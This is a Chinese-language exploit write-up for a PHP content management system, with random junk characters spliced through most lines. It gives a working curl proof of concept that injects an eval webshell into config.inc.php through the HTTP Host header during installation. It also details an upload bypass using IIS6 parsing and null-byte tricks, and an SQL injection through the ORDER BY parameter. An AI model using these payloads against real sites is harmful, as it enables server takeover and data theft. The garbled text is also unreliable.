注入:
- r; ?2 P/ R2 O: J, a5 Z+ [, U( p
4 J) S5 O; _2 g; F) P0 x6 N之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
7 _$ E4 W' @, r1 r' L6 B$ D 6 p' ]# V. b% A+ V A7 ] Z
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
9 Q& V. f/ i4 I3 A* x+ P/ U鸡肋2: 有一定安全常识的站长都会删掉 install 目录
( Y2 I) A% \% h4 _! X9 E
4 }' ?# P4 w! J3 a- Q% z虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响% p" x4 b7 C/ q: ?7 [% _& R
* b6 p% a, ?* T2 \. i" U$ j# y分析:% e; X- o* e1 \% w" l5 N
% Y4 ~) N, n- z# u
' S+ V* Q r) ?$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
% b, ~% G( d+ C9 u( b
2 W1 f- D+ E/ m) q $filestr = fread(fopen($SysConfigFile, 'r'),30000);
c) r6 t; b. r4 J' u! w! C6 a $filestr=str_replace(" ","",$filestr);9 z8 e# c( [+ l
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
1 ?% ]9 p/ w$ }1 \4 L $filestr=str_replace("DefaultDbName",$dbname,$filestr);5 ~' d% C2 L- I3 a8 b Z# |
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
. _$ @% g. [1 Q $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
' d( B! s' w% S `' H $filestr=str_replace("DefaultsLan","zh_cn",$filestr);" M" b6 P i, ], u! o; R
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
7 w g: R3 q2 `0 {. [ $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);8 Q3 K; Q& o; k- Y
$ X+ o/ ?; s! a% t
fwrite(fopen($ConFile,"w"),$filestr,30000);
) a i% v r- V) O2 {. g$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^; G9 s+ [/ l! f6 W1 t+ } r. j
6 i- D' I( s4 lpoc:
# t0 m% i% N) G u& H3 s$ G # q8 u* c; G/ @" U2 N# u
?& y( V" z9 E$ K* W. {
1
S6 N8 B n8 B7 Bcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"% @; L3 C, H$ D' ~! x
shell地址: /config.inc.php, K1 I& t! Q& @6 E9 T) E& q; i# X
跟之前的 phpcms一样 需要远程数据库
3 b. q- }$ G: c9 z; _ - {+ D' s5 U; ~: ~" X3 q% }& J
——————————————————–
/ `1 Z; p6 t7 i3 R上传漏洞(需要进后台):' E% v+ [: x: W3 r( H F z( I- F
漏洞文件: /kedit/upload_cgi/upload.php% e2 j+ P$ J4 D1 \; q$ I( V+ |
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
; G& Y7 f* \( \$ Y2 W1 @/ s2 A . c w% X0 k3 P) i- Q
! w# H( [4 O& x! ?5 @! v$ F, X+ e' U
<?php
. ]; E0 s6 B: ]/ v8 m+ R define("ROOTPATH", "../../");( D: X3 D" B3 i! @/ C& W9 L0 x
include(ROOTPATH."includes/admin.inc.php");( l6 H; U. B- Y5 I, T) |: F
NeedAuth(0);
& E! k6 ^: a* K
/ v2 b9 q9 Y* k* X, a r. ? $dt=date("Ymd",time());8 A! o* x) o+ e) c- n
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){0 {0 N2 l0 C. }" D' H A0 W- Z
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
8 Z! W) y9 q7 K# |8 i) @+ U/ {) i }
/ O9 z: |6 L/ p4 ?3 T1 `1 J + q7 y5 C; Y1 n- k/ O
//文件保存目录路径
U& _9 h7 }8 P $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
# H# h' q3 j: w) P- M0 x echo $save_path;7 A) L0 v* x0 h( y
//文件保存目录URL
: i% k# f h' ?) Z $save_url = '../../'.$_POST['attachPath'].$dt.'/';
% m* e: {4 Q4 m4 j' c) t $ K6 J7 S: l6 n5 M
//定义允许上传的文件扩展名( X# s0 ^4 R7 B+ }$ o) Y
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀! W1 a& Z. G7 n* w; _0 s# p9 @. _6 v
8 R- f; |; c( n9 I //最大文件大小( N7 X% E3 M% w4 F5 j
$max_size = 1000000;
5 c7 L( V! }& Y+ j, k6 ]
- [: n t$ G7 J! D9 m //更改目录权限) V& \, n: p2 F. L5 h9 [
@mkdir($save_path, 0777);1 x! b, U) t6 x. ~, M' W
1 n8 g- g+ b4 N
//文件的全部路径9 G# ?9 J6 k& W# B0 H1 F
$file_path = $save_path.$_POST['fileName']; //保存文件名
; w/ N2 w" V7 j, Y* s0 T& z# W 3 N/ O+ w! x, V7 U: p8 z
//文件URL. |8 h/ J1 v6 y/ h0 ?
$file_url = $save_url.$_POST['fileName'];. x, {+ j0 W* d$ F, ?6 y
//有上传文件时
: C* y' }0 R) _" F6 c9 u if (empty($_FILES) === false) {
9 m o/ {4 [2 T) ~) A7 ?
7 O9 Z# b/ u" V2 c. c$ e- _ //原文件名9 _0 u2 N& c ^( t7 J
$file_name = $_FILES['fileData']['name'];
; ^7 b7 X* ]" F3 N/ i- J# c //服务器上临时文件名 Y) z( L/ V$ R9 C4 u
$tmp_name = $_FILES['fileData']['tmp_name'];
! {: p: @: ^0 ? //文件大小0 o# k9 _8 X% |8 y$ ]
$file_size = $_FILES['fileData']['size'];
$ q U$ E" K3 `) ?/ j2 e; ] //检查目录
8 ~' D* m7 ], z% v p& b4 ^ if (@is_dir($save_path) === false) {
; z4 E* \( @ ?# i8 Y" F- V alert("上传目录不存在。");! k/ C( }8 N" P) q) C# c
}! m1 S( C* M6 y5 e+ i* a( ]5 L
//检查目录写权限
/ I8 g4 h( q& f9 F/ S if (@is_writable($save_path) === false) {+ A+ Q; M! Y+ l+ L8 U( Y1 L6 O
alert("上传目录没有写权限。");
. ]0 E- B; g2 [% u$ H }, t. [5 J- |* V& e, H. D
//检查是否已上传9 A( \! p1 [% j5 m, X1 l
if (@is_uploaded_file($tmp_name) === false) {. g, l2 R/ Z7 A# L Z3 V
alert("临时文件可能不是上传文件。");, j. N) O: o# ?' P4 P$ X# U- I
}
' s$ Z) O2 Y4 O: Z7 p% ~1 I //检查文件大小" D% ~5 ?# e$ C; P5 g
if ($file_size > $max_size) {
" y: z# Y1 h- C( R$ J% J alert("上传文件大小超过限制。");, z( j% E1 b8 d* B4 y
}
! K3 b" |& g9 Z. v+ I& V: w! c) X+ l //获得文件扩展名
, o, ]0 M; _2 M0 T2 \ $temp_arr = explode(".", $_POST['fileName']);+ ]/ y# @* }8 U+ S
$file_ext = array_pop($temp_arr);6 _ E; \' c- a2 i& m1 O
$file_ext = trim($file_ext);( O, V$ M9 I% M$ ^/ b* i% C1 n- w: o
$file_ext = strtolower($file_ext);
z, y- j7 v. o5 v , c" l- I* m3 _( m! K, S
//检查扩展名 4 d6 r a* [, c' Z& A' }% m
if (in_array($file_ext, $ext_arr) === false) {
# i0 _+ W9 r, V1 b+ P; b5 F/ c alert("上传文件扩展名是不允许的扩展名。");
. g% ^+ `9 W1 ?& z7 A. K* i( w }
, ~ G. w3 B4 q2 ?, x4 O# w , E6 M7 E, l* K! O8 a6 [! H
//移动文件
% W$ P- }* A: W //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
1 C: D! S0 d" N if (move_uploaded_file($tmp_name, $file_path) === false) {: a$ e5 w; ~0 q4 D) w! r+ C$ `% B
alert("上传文件失败。");
: p2 Q, Y) Y/ h }
6 i' D8 g4 j5 j1 m$ m3 B
2 X, w" e3 Y$ t. ?1 V V7 r! s @chmod($file_path,0666);
5 d5 T5 s7 o& b5 O$ h! V) W $ {( l, b( g: A' s; ]% Q
?>
2 H; h% [2 P6 b t$ }- Q! g# g抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227* O& V, q) y: G a' }6 i, {0 B+ I' ]
. K1 p7 T* Y* D8 d M9 `! b
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
9 l2 [) l) p, L' C U( c! w& A7 T 6 Q9 ]5 L* b& r+ A9 g; c- V3 b
——————————————————
% Z/ Z; J: n3 q注入漏洞:
6 G$ ] ?" K s3 k2 T漏洞文件:search/module/search.php) u1 e% `- `0 [! n
/search/index.php?key=1&myord=1 [sqlinjection]6 B& u1 x! @: D5 T
" x$ W& {7 K% |- z. D+ B
- F) M( D, S+ f; C' c+ f% ?<?php
3 d& s, P8 J, `; s/ I! R5 }! t9 Z) @ // ... 省略 n 行...
# l0 F4 R- P3 c //第18行:3 ~% {6 }/ G! r4 I: u2 q) ]
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响$ f8 f2 U3 t; g' L2 G
$page=htmlspecialchars($_GET["page"]);/ C5 X; ]/ z1 [- f* H1 W# o' Y( l( w
$myord=htmlspecialchars($_GET["myord"]);
8 i( Y4 N3 A, D# J7 B+ D9 j
5 {( u" _- B" W' n9 P/ O // ... 省略 n 行...+ A1 k) }: c0 u k' T
$key,$myord 两个参数带入查询4 y4 V( v2 `. a, F
//第47行 $key:. A* C$ x- q: j9 t5 P
0 R2 F9 h$ j. J $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
" J0 w. n/ o- f; ~) x' v# G $ Y }/ m: Z; b& ~% G$ O
//第197行 $myord
9 m# m& k0 k; |; h, j $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入( n) s. R+ B) X V3 X3 f
4 R& ^ {. J; m( @1 k ?> Z$ y* r6 T% d- a5 C/ M
|